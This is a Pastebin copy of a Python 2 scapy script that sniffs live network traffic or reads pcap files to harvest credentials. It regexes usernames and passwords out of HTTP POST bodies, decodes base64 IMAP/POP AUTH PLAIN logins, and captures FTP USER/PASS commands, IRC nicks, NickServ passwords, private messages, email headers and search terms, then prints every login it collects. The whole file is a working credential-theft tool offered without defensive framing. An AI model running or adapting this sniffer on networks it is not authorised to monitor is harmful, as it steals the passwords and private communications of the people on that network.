Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2
- from os import geteuid, devnull
- import logging
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- from scapy.all import *
- conf.verb=0
- from sys import exit
- import argparse
- import signal
- from base64 import b64decode
- from urllib import unquote
- from subprocess import Popen, PIPE
- DN = open(devnull, 'w')
- def parse_args():
- """Create the arguments"""
- parser = argparse.ArgumentParser()
- parser.add_argument("-i", "--interface", help="Choose an interface")
- parser.add_argument("-v", "--verbose", help="Do not skip or truncate URLs", action='store_true')
- parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p <pcapfilename>")
- return parser.parse_args()
- class Parser:
- fragged = 0
- imapauth = 0
- popauth = 0
- ftpuser = None # Necessary since user and pass come in separate packets
- ircnick = None # Necessary since user and pass come in separate packets
- oldmheaders = []
- logins = {} # Printed on Ctrl-C
- # For concatenating fragmented packets
- prev_pkt = {6667:{}, # IRC
- 143:{}, # IMAP
- 110:{}, # POP3
- 80:{}, # HTTP
- 26:{}, # SMTP
- 25:{}, # SMTP
- 21:{}} # FTP
- def __init__(self, args):
- self.args = args
- def pkt_sorter(self, pkt):
- if pkt.haslayer(Raw) and pkt.haslayer(TCP):
- self.dest = pkt[IP].dst
- self.src = pkt[IP].src
- self.dport = pkt[TCP].dport
- self.sport = pkt[TCP].sport
- self.ack = pkt[TCP].ack
- self.seq = pkt[TCP].seq
- self.load = str(pkt[Raw].load)
- if self.dport == 80 or self.sport == 80:
- """ HTTP """
- port = 80
- # Catch fragmented pkts
- self.header_lines = self.hb_parse(port)
- return self.http_parser(port)
- elif self.dport == 6667:
- """ IRC """
- port = 6667
- self.header_lines = self.hb_parse(port) # Join fragmented pkts
- return self.irc(port)
- elif self.dport == 21 or self.sport == 21:
- """ FTP """
- port = 21
- self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse
- self.ftp(port)
- elif self.dport == 25 or self.dport == 26:
- port = self.dport
- self.header_lines = self.hb_parse(port) # Join fragmented pkts
- self.email_parser('', 'Outgoing', '')
- elif self.sport == 110 or self.dport == 110:
- """ POP3 """
- port = 110
- self.header_lines = self.hb_parse(port) # Join fragmented pkts
- if self.dport == 110:
- self.mail_pw(port)
- if self.sport == 110:
- self.email_parser('+OK', 'Incoming', 'POP')
- elif self.sport == 143 or self.dport == 143:
- """ IMAP """
- port = 143
- self.header_lines = self.hb_parse(port) # Join fragmented pkts
- if self.dport == 143:
- self.mail_pw(port)
- if self.sport == 143:
- self.email_parser('BODY[]', 'Incoming', 'IMAP')
- def headers_body(self, protocol):
- try:
- h, b = protocol.split("\r\n\r\n", 1)
- return h, b
- except Exception:
- h, b = protocol, ''
- return h, b
- def frag_joiner(self, port):
- self.fragged = 0
- if len(self.prev_pkt[port]) > 0:
- if self.ack in self.prev_pkt[port]:
- self.fragged = 1
- return {self.ack:self.prev_pkt[port][self.ack]+self.load}
- return {self.ack:self.load}
- def hb_parse(self, port):
- self.prev_pkt[port] = self.frag_joiner(port)
- self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack])
- return self.headers.split('\r\n')
- def logins_check(self, port, user, pw):
- for ip in self.logins:
- if ip == self.src:
- for x in self.logins[ip]:
- if x == (self.dest, port, user, pw):
- return 1
- self.logins[ip].append((self.dest, port, user, pw))
- return 0
- self.logins[self.src] = [(self.dest, port, user, pw)]
- return 0
- ##################################################
- # MAIL #
- ##################################################
- def email_parser(self, first_line, inout, proto):
- """The email module was not giving me what I wanted"""
- mail_header_finder = ['To: ', 'From: ', 'Date: ', 'Subject: ']
- mail_headers = []
- for h in self.header_lines:
- for x in mail_header_finder:
- if x in h:
- mail_headers.append(h)
- if len(mail_headers) > 3:
- if first_line in self.header_lines[0] and self.body != '':
- # Prevent the headers from being repeated in output if msg is fragmented
- if mail_headers != self.oldmheaders:
- self.oldmheaders = mail_headers
- print '[%s] %s %s email:' % (self.src, inout, proto)
- for m in mail_headers:
- print ' ', m
- def mail_pw(self, port):
- load = self.load.strip('\r\n')
- if self.dport == 143:
- auth_find = 'authenticate plain'
- proto = 'IMAP'
- auth = self.imapauth
- self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
- elif self.dport == 110:
- auth_find = 'AUTH PLAIN'
- proto = 'POP'
- auth = self.popauth
- self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
- def mail_pw_auth(self, load, auth_find, proto, auth, port):
- if auth == 1:
- user, pw = load, 0
- found = self.logins_check(port, user, pw)
- print '[%s] %s auth: %s' % (self.src, proto, load)
- self.b64decode(load, port)
- return 0
- elif auth_find in load:
- return 1
- def b64decode(self, load, port):
- b64str = load
- try:
- decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning
- except Exception:
- decoded = ''
- # Test to see if decode worked
- if '@' in decoded:
- print '[%s] Decoded: %s' % (self.src, decoded)
- decoded = decoded.split()
- found = self.logins_check(port, decoded[0], decoded[1])
- ##################################################
- # HTTP #
- ##################################################
- def http_parser(self, port):
- url = None
- host = self.search_headers('host: ')
- if host:
- get = self.search_headers('get /')
- post = self.search_headers('post /')
- if get:
- url = host+get
- elif post:
- url = host+post
- else:
- return
- if url:
- self.url_printer(url, post)
- # Print search terms
- searched = self.searches(url, host)
- if searched:
- print '[%s] Searched %s: %s' % (self.src, host, searched)
- if post:
- if self.body != '' and 'ocsp' not in host:
- if self.fragged:
- print '[%s] POST load (frag): %s' % (self.src, self.body)
- else:
- print '[%s] POST load: %s' % (self.src, self.body)
- self.http_user_pass(host, port)
- def http_user_pass(self, host, port):
- """Regex out the passwords and usernames
- If you think there's a good library for parsing load data I am here to tell you
- I have tried several suggestions and they are all less reliable than this way
- Feel free to prove otherwise"""
- # email, user, username, name, login, log, loginID
- user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
- # password, pass, passwd, pwd, psw, passwrd, passw
- pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
- username = re.findall(user_regex, self.body)
- password = re.findall(pw_regex, self.body)
- user = None
- pw = None
- if username:
- for u in username:
- user = u[1]
- break
- if password:
- for p in password:
- if p[1] != '':
- pw = p[1]
- break
- if user:
- print '[%s > %s] login: %s' % (self.src, host, user)
- if pw:
- print '[%s > %s] password: %s' % (self.src, host, pw)
- self.dest = host # So the destination will be saved as the hostname, not IP
- found = self.logins_check(port, user, pw)
- def url_printer(self, url, post):
- if not self.args.verbose:
- d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
- if any(i in url for i in d):
- return
- url = url[:135]
- if not self.fragged:
- if post:
- print '[%s] %s %s' % (self.src, 'POST', url)
- else:
- print '[%s] %s' % (self.src, url)
- def search_headers(self, header):
- for l in self.header_lines:
- if header in l.lower():
- line = l.split()
- try:
- return line[1]
- except Exception:
- return 0
- def searches(self, url, host):
- """ Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
- search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command """
- searched = re.search('((search|query|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
- if searched:
- searched = searched.group(3)
- # Common false positives
- if 'select%20*%20from' in searched:
- return 0
- if host == 'geo.yahoo.com':
- return 0
- # Decode URL encoding
- return unquote(searched).replace('+', ' ')
- ##################################################
- # FTP #
- ##################################################
- def ftp(self, port):
- """Catch FTP usernames, passwords, and servers"""
- load = self.load.replace('\r\n', '')
- if port == self.dport:
- if 'USER ' in load:
- user = load.strip('USER ')
- print '[%s > %s] FTP user: ' % (self.src, self.dest), user
- self.ftpuser = user
- elif 'PASS ' in load:
- pw = load.strip('PASS ')
- print '[%s > %s] FTP password:' % (self.src, self.dest), pw
- # Necessary since usernames and passwords come in separate packets
- if self.ftpuser:
- self.logins_check(port, self.ftpuser, pw)
- else:
- self.logins_check(port, '', pw)
- if 'authentication failed' in load:
- resp = load
- print '[%s > %s] FTP response:' % (self.src, self.dest), resp
- if '230 OK' in load:
- resp = load
- print '[%s > %s] FTP response:' % (self.src, self.dest), resp
- ##################################################
- # IRC #
- ##################################################
- def irc(self, port):
- """Catch IRC nicks, passwords, joins, parts, quits, messages"""
- load = self.load.split('\r\n')[0]
- if 'NICK ' in load:
- self.ircnick = load.strip('NICK ')
- print '[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick)
- elif 'NS IDENTIFY ' in load:
- ircpass = load.strip('NS IDENTIFY ')
- print '[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass)
- if self.ircnick:
- self.logins_check(port, self.ircnick, ircpass)
- else:
- self.logins_check(port, '', ircpass)
- elif 'PRIVMSG ' in load:
- load = load.split(' ', 2)
- ircchannel = load[1]
- ircmsg = load[2][1:] # Get rid of the beginning ":"
- print '[%s] IRC msg to %s: %s' % (self.src, ircchannel, ircmsg)
- elif 'JOIN ' in load:
- ircjoin = load.strip('JOIN ').split()[0] # There's a parameter x we need to get rid of with the split
- print '[%s > %s] IRC joined: %s' % (self.src, self.dest, ircjoin)
- elif 'PART ' in load:
- load = load.split()
- ircchannel = load[1]
- reason = load[2][1:]
- print '[%s > %s] IRC left %s: %s' % (self.src, self.dest, ircchannel, reason)
- elif 'QUIT ' in load:
- ircquit = load.strip('QUIT :')
- print '[%s > %s] IRC quit: %s' % (self.src, self.dest, ircquit)
- def pcap_parser(pcap_file, parser):
- parser = parser
- try:
- pcap = rdpcap(pcap_file)
- except Exception:
- exit('[-] Could not open %s' % pcap_file)
- for pkt in pcap:
- parser.pkt_sorter(pkt)
- print ''
- for k in parser.logins:
- for v in parser.logins[k]:
- print '%s: %s' % (k, v)
- exit('[*] Finished parsing pcap file')
- def iface_finder():
- try:
- ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
- for line in ipr.communicate()[0].splitlines():
- if 'default' in line:
- l = line.split()
- iface = l[4]
- return iface
- except Exception:
- exit('[-] Could not find an internet active interface; please specify one with -i <interface>')
- ##################################################
- # MAIN #
- ##################################################
- def main(args):
- parser = Parser(args)
- # Read from pcap file
- if args.pcap:
- pcap_parser(args.pcap, parser)
- # Check for root
- if geteuid():
- exit('[-] Please run as root')
- #Find the active interface
- if args.interface:
- conf.iface = args.interface
- else:
- conf.iface = iface_finder()
- print '[*] Listening on %s, if you wish to change this specify the interface with the -i argument' % conf.iface
- def signal_handler(signal, frame):
- """This is nested inside main() so it can use parser.logins[k]
- Prints all the captured credentials"""
- print ''
- for k in parser.logins:
- for v in parser.logins[k]:
- print '%s: %s' % (k, v)
- exit(0)
- signal.signal(signal.SIGINT, signal_handler)
- sniff(iface=conf.iface, prn=parser.pkt_sorter, store=0)
- if __name__ == "__main__":
- main(parse_args())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement